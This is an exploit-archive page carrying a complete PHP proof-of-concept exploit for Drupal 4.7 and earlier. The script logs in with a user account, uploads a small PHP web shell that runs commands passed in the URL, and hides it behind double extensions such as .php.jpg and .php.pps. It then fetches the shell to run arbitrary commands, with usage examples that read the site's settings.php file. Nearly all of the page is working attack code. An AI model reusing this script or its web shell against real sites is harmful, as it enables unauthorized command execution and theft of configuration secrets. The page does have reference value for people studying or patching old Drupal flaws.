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Drupal <= 4.7 (attachment mod_mime) Remote Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug🔗 www.seebug.org👁 19 Views

Drupal 4.7 mod_mime remote exploit allowing unauthorized shell command executio

Code

                                                #!/usr/bin/php -q -d short_open_tag=on
&#60;?
echo &#34;Drupal &#60;= 4.7 attachment mod_mime poc exploit\r\n&#34;;
echo &#34;by rgod [email protected]\r\n&#34;;
echo &#34;site: http://retrogod.altervista.org\r\n\r\n&#34;;

/*
this works with a user account with upload rights and with permissions to modify
stories, however this is only a poc, you can do the same uploading an attachment,
like this, with double extension, through all modules:

attach.php.pps

with this content:
*/

$shell=
&#39;&#60;?php
if (get_magic_quotes_gpc()){$_GET[cmd]=stripslashes($_GET[cmd]);}
ini_set(&#34;max_execution_time&#34;,0);
echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);
passthru($_GET[cmd]);
echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);
?&#62;&#39;;

/*
then:

http://[target]/[path]/files/attach.php.pps?cmd=ls%20-la

also, I noticed that from an admin account you can upload .php3 or .php5 files
*/

if ($argc&#60;6) {
echo &#34;Usage: php &#34;.$argv[0].&#34; host path user pass cmd OPTIONS\r\n&#34;;
echo &#34;host:      target server (ip/hostname)\r\n&#34;;
echo &#34;path:      path to Drupal\r\n&#34;;
echo &#34;user-pass: valid credentials with upload rights\r\n&#34;;
echo &#34;cmd:       a shell command\r\n&#34;;
echo &#34;Options:\r\n&#34;;
echo &#34;   -p[port]:    specify a port other than 80\r\n&#34;;
echo &#34;   -P[ip:port]: specify a proxy\r\n&#34;;
echo &#34;Examples:\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost /drupal/ user password cat ./../sites/default/settings.php\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost /drupal/ user password ls -la -p81\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost / user password ls -la -P1.1.1.1:80\r\n&#34;;
die;
}

ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo &#34;\r\n&#34;.$html;
}

function make_seed()
{
   list($usec, $sec) = explode(&#39; &#39;, microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$cmd=&#34;&#34;;$port=80;$proxy=&#34;&#34;;

for ($i=5; $i&#60;=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp&#60;&#62;&#34;-p&#34;) and ($temp&#60;&#62;&#34;-P&#34;))
{$cmd.=&#34; &#34;.$argv[$i];}
if ($temp==&#34;-p&#34;)
{
  $port=str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

srand(make_seed());
$anumber = rand(1,99999);

  $data =&#34;edit%5Bname%5D=&#34;.$user;
  $data.=&#34;&edit%5Bpass%5D=&#34;.$pass;
  $data.=&#34;&edit%5Bform_id%5D=user_login&#34;;
  $data.=&#34;&op=Log%20in&#34;;
  $packet=&#34;POST &#34;.$path.&#34;?q=user/login&destination=node HTTP/1.0\r\n&#34;;
  $packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
  $packet.=&#34;Accept-Encoding: gzip, deflate\r\n&#34;;
  $packet.=&#34;Accept-Language: it\r\n&#34;;
  $packet.=&#34;Referer: http://&#34;.$host.$path.&#34;\r\n&#34;;
  $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
  $packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
  $packet.=&#34;Cache-Control: no-cache\r\n&#34;;
  $packet.=&#34;Connection: close\r\n\r\n&#34;;
  $packet.=$data;
// echo quick_dump($packet);
  sendpacketii($packet);
  $temp=explode(&#34;Set-Cookie: &#34;,$html);
  $temp2=explode(&#34; &#34;,$temp[2]);
  $cookie=$temp2[0];
  echo &#34;\r\nCookie -&#62; &#34;.$cookie.&#34;\r\n\r\n&#34;;


$ext= array(&#34;.php.jpg&#34;,&#34;.php.jpeg&#34;,&#34;.php.gif&#34;, &#34;.php.png&#34;,&#34;.php.txt&#34;,&#34;.php.html&#34;,&#34;.php.doc&#34;,&#34;.php.xls&#34;,&#34;.php.pdf&#34;,&#34;.php.ppt&#34;,&#34;.php.pps&#34;);

for ($x=0; $x&#60;=count($ext)-1;$x++)
{
echo &#34;Trying with &#34;.$ext[$x].&#34; extension...\r\n&#34;;
$d=date(&#34;Y-m-d&#34;);
$data=&#39;-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;edit[title]&#34;

titolo
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;edit[body]&#34;

corpo
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;edit[format]&#34;

1
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;edit[form_id]&#34;

story_node_form
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;edit[name]&#34;

&#39;.$user.&#39;
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;edit[date]&#34;

&#39;.$d.&#39; 23:59:59 +0000
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;edit[status]&#34;

1
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;edit[promote]&#34;

1
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;edit[comment]&#34;

2
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;edit[path]&#34;


-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;edit[menu][title]&#34;


-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;edit[menu][description]&#34;


-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;edit[menu][pid]&#34;

1
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;edit[menu][path]&#34;


-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;edit[menu][weight]&#34;

0
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;edit[menu][mid]&#34;

0
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;edit[menu][type]&#34;

86
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;edit[upload]&#34;; filename=&#34;suntzu&#39;.$anumber.$ext[$x].&#39;&#34;
Content-Type: image/jpeg

&#39;.$shell.&#39;
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;fileop&#34;

Attach
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;edit[fileop]&#34;

http://&#39;.$host.$path.&#39;?q=upload/js
-----------------------------7d6381c1b00a2
Content-Disposition: form-data; name=&#34;edit[vid]&#34;


-----------------------------7d6381c1b00a2--
&#39;;

$packet=&#34;POST &#34;.$p.&#34;?q=upload/js HTTP/1.0\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;/?q=node/add/story\r\n&#34;;
$packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d6381c1b00a2\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
$packet.=&#34;Connection: Keep-Alive\r\n\r\n&#34;;
$packet.=$data;
//echo quick_dump($packet);
sendpacketii($packet);

$data=&#39;-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[title]&#34;

titolo
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[body]&#34;

corpo
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[format]&#34;

1
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[form_id]&#34;

story_node_form
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[name]&#34;

&#39;.$user.&#39;
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[date]&#34;

&#39;.$d.&#39; 23:59:59 +0000
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[status]&#34;

1
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[promote]&#34;

1
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[comment]&#34;

2
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[path]&#34;


-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[menu][title]&#34;


-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[menu][description]&#34;


-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[menu][pid]&#34;

1
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[menu][path]&#34;


-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[menu][weight]&#34;

0
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[menu][mid]&#34;

0
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[menu][type]&#34;

86
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[files][upload_0][list]&#34;

1
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[files][upload_0][description]&#34;

hello.txt
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[upload]&#34;; filename=&#34;&#34;
Content-Type: image/jpeg


-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[fileop]&#34;

http://&#39;.$host.$path.&#39;?q=upload/js
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;edit[vid]&#34;


-----------------------------7d6318101b00a2
Content-Disposition: form-data; name=&#34;op&#34;

Submit
-----------------------------7d6318101b00a2--
&#39;;

$packet=&#34;POST &#34;.$p.&#34;?q=node/add/story HTTP/1.0\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;/?q=node/add/story\r\n&#34;;
$packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d6318101b00a2\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
$packet.=&#34;Connection: Keep-Alive\r\n\r\n&#34;;
$packet.=$data;
//echo quick_dump($packet);
sendpacketii($packet);

$packet =&#34;GET &#34;.$p.&#34;files/suntzu&#34;.$anumber.$ext[$x].&#34;?cmd=&#34;.$cmd.&#34; HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
//echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,&#34;*deli*&#34;))
{echo &#34;Exploit succeeded...\r\n&#34;;
 $temp=explode(&#34;*deli*&#34;,$html);
 die($temp[1]);
}
}
//if you are here...
echo &#34;Exploit failed...&#34;;
?&#62;

# milw0rm.com [2006-05-24]

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01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
drupalmod_mimeremote exploitunauthorizedshell commandexecutionsecurity document
19